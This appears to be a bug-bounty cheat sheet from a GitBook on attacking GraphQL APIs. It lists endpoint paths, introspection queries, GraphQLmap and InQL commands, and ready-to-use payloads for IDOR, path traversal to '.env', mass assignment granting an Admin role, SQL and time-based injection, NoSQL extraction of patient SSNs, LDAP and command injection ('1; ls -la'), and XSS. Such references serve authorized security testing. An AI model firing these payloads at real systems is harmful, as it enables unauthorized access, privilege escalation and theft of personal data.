GraphQL

Found a target using GraphQL?

  1. Run the introspection query to map out all methods

  2. Use GraphQL Voyager to display all methods

  3. Use BatchQL or the InQL extension to test all methods for IDORs, SQLi, SSRF, etc

Definition

  • Query is an operation to retrieve data (read).

  • Mutation is an operation used to submit and write data (create, update, and delete).

  • Subscription is an operation used to send data (read) when an event occurs. Subscription is a way for GraphQL clients to listen to live updates from the server.

Detection

/graphql
/altair
/explorer
/graphiql
/graphiql.css
/graphiql/finland
/graphiql.js
/graphiql.min.css
/graphiql.min.js
/graphiql.php
/graphql
/graphql/console
/graphql-explorer
/graphql.php
/graphql/schema.json
/graphql/schema.xml
/graphql/schema.yaml
/playground
/subscriptions
/api/graphql
/graph
/v1/altair
/v1/explorer
/v1/graphiql
/v1/graphiql.css
/v1/graphiql/finland
/v1/graphiql.js
/v1/graphiql.min.css
/v1/graphiql.min.js
/v1/graphiql.php
/v1/graphql
/v1/graphql/console
/v1/graphql-explorer
/v1/graphql.php
/v1/graphql/schema.json
/v1/graphql/schema.xml
/v1/graphql/schema.yaml
/v1/playground
/v1/subscriptions
/v1/api/graphql
/v1/graph
/v2/altair
/v2/explorer
/v2/graphiql
/v2/graphiql.css
/v2/graphiql/finland
/v2/graphiql.js
/v2/graphiql.min.css
/v2/graphiql.min.js
/v2/graphiql.php
/v2/graphql
/v2/graphql/console
/v2/graphql-explorer
/v2/graphql.php
/v2/graphql/schema.json
/v2/graphql/schema.xml
/v2/graphql/schema.yaml
/v2/playground
/v2/subscriptions
/v2/api/graphql
/v2/graph
/v3/altair
/v3/explorer
/v3/graphiql
/v3/graphiql.css
/v3/graphiql/finland
/v3/graphiql.js
/v3/graphiql.min.css
/v3/graphiql.min.js
/v3/graphiql.php
/v3/graphql
/v3/graphql/console
/v3/graphql-explorer
/v3/graphql.php
/v3/graphql/schema.json
/v3/graphql/schema.xml
/v3/graphql/schema.yaml
/v3/playground
/v3/subscriptions
/v3/api/graphql
/v3/graph
/v4/altair
/v4/explorer
/v4/graphiql
/v4/graphiql.css
/v4/graphiql/finland
/v4/graphiql.js
/v4/graphiql.min.css
/v4/graphiql.min.js
/v4/graphiql.php
/v4/graphql
/v4/graphql/console
/v4/graphql-explorer
/v4/graphql.php
/v4/graphql/schema.json
/v4/graphql/schema.xml
/v4/graphql/schema.yaml
/v4/playground
/v4/subscriptions
/v4/api/graphql
/v4/graph

Basics

Fingerprinting

Scan

Introspection enabled

{"query": "query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}"}
{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}
query FullIntrospectionQuery {
    __schema {
        queryType {
            name
        }
        mutationType {
            name
        }
        subscriptionType {
            name
        }
        types {
          ...FullType
        }
        directives {
            name
            description
            args {
                ...InputValue
            }
        }
    }
}

fragment FullType on __Type {
      kind
      name
      description
      fields(includeDeprecated: true) {
          name
          description
          args {
              ...InputValue
          }
          type {
              ...TypeRef
          }
          isDeprecated
          deprecationReason
      }
      inputFields {
          ...InputValue
      }
      interfaces {
          ...TypeRef
      }
      enumValues(includeDeprecated: true) {
          name
          description
          isDeprecated
          deprecationReason
      }
      possibleTypes {
          ...TypeRef
      }
}

fragment InputValue on __InputValue {
      name
      description
      type {
          ...TypeRef
      }
      defaultValue
}

fragment TypeRef on __Type {
    kind
    name
    ofType {
        kind
        name
        ofType {
            kind
            name
            ofType {
              kind
              name
            }
        }
    }
}

Introspection disabled

Error Messages

JS Files

  1. Download all js files to directory js_files

  2. Run this command:

grep -Eo '(query|mutation) [a-zA-Z0-9_]+(' js_files -R

Scan endpoints

GraphQLmap -u https://target.com/graphql 

IDOR

IDOR
query {
  currentUser(internalId: 1337) {
    role
    name
    email
    token
  }
}

Change the internalId field

Add extra field

Initial query

query {
  listPosts(postId: 13) {
    title
    description
  }
}

Modified query

query {
  listPosts(postId: 13) {
    title
    description
  }
user {
    username
    email
    firstName
    lastName
    }
}

Path Traversal

query {
readFile(path: "../../../../../.env")
}
File Inclusion LFI / RFI

Mass Asignement - mutation

Mass Assignment

Initial query

mutation {
    registerAccount(nickname:"hacker", email:"hacktheplanet@yeswehack.ninja", password:"StrongP@ssword!") {
        token {
             accessToken
        }
        user {
           email
           nickname
           role
           } 
       }
    }
}

Modified query - role added

mutation {
    registerAccount(nickname:"hacker", email:"hacktheplanet@yeswehack.ninja", password:"StrongP@ssword!", role:"Admin") {
        token {
             accessToken
        }
        user {
           email
           nickname
           role
           } 
       }
    }
}

CSRF

Bypassing rate limits

Batching attack

Tool: batchql

SQL injection

example.com/graphql?query={__schema{types{name}}}

Get all informations about the API schema:

__schema {
    types {
        name,
        fields {
            name
        }
    }
}

Ex:

"){firstname}__schema{types{name,fields{name}}}}#}"
query {
  customer(id: "22371' OR 1=1–") {
    name, 
    email, 
    address, 
    contact
  }
} 

SQL injection - Time based

curl -X POST http://localhost:8080/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(30\)%3B--%27

Automated - Graphqlmap

python3 GraphQLmap/graphqlmap.py -u https://target.com/graphql -i  

NoSQL Injection

NoSQL injection
query {
    users(search: "{\"email\": {\"$gte\": \"\"}}",
          options: "{\"fields\": {}}") {
        _id
        username
        fullname
        email
    }
}

Use $regex, $ne frominside a search parameter.

{
  doctors(
    options: "{\"limit\": 1, \"patients.ssn\" :1}", 
    search: "{ \"patients.ssn\": { \"$regex\": \".*\"}, \"lastName\":\"Admin\" }")
    {
      firstName lastName id patients{ssn}
    }
}

LDAP Injection

LDAP Injection
query {
  user(username: "*") {
    name
    email
    groups
  }
}

Command injection

Command Injection
query {
  getUser(id: "1; ls -la") {
    name
    email
  }
}

XSS

XSS
query {
  getComment(id: "1") {
    user
    comment: "<script>alert('XSS Attack')</script>"
  }
}

HTML Injection

mutation {
 createPaste(title:"<h1>hello!</h1><script>alert('Attack')</script>", content:"zzzz", public:true) {
   paste {
     id
   }
 }
}

DoS throught batched queries

Wordlists

GraphQL Raider - Burp Extension

InQL

Burp Extension

CLI

$ pip install inql
$ inql -t https://anilist.co/graphql

Tools

Interesting Book

Disclaimer: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.

  • Black Hat GraphQL: Attacking Next Generation APIs This hands-on book teaches penetration testers how to identify vulnerabilities in apps that use GraphQL, a data query and manipulation language for APIs adopted by major companies like Facebook and GitHub.

Support this Gitbook

I hope it helps you as much as it has helped me. If you can support me in any way, I would deeply appreciate it.

Interesting Reports

1. https://hackerone.com/reports/2048725

2. https://hackerone.com/reports/2524939

3. https://hackerone.com/reports/2357012

4. https://hackerone.com/reports/2122671

5. https://hackerone.com/reports/2207248

6. https://hackerone.com/reports/1864188

7. https://hackerone.com/reports/1085332

8. https://hackerone.com/reports/1084904

9. https://hackerone.com/reports/1293377

10. https://hackerone.com/reports/1192460

Resources

Last updated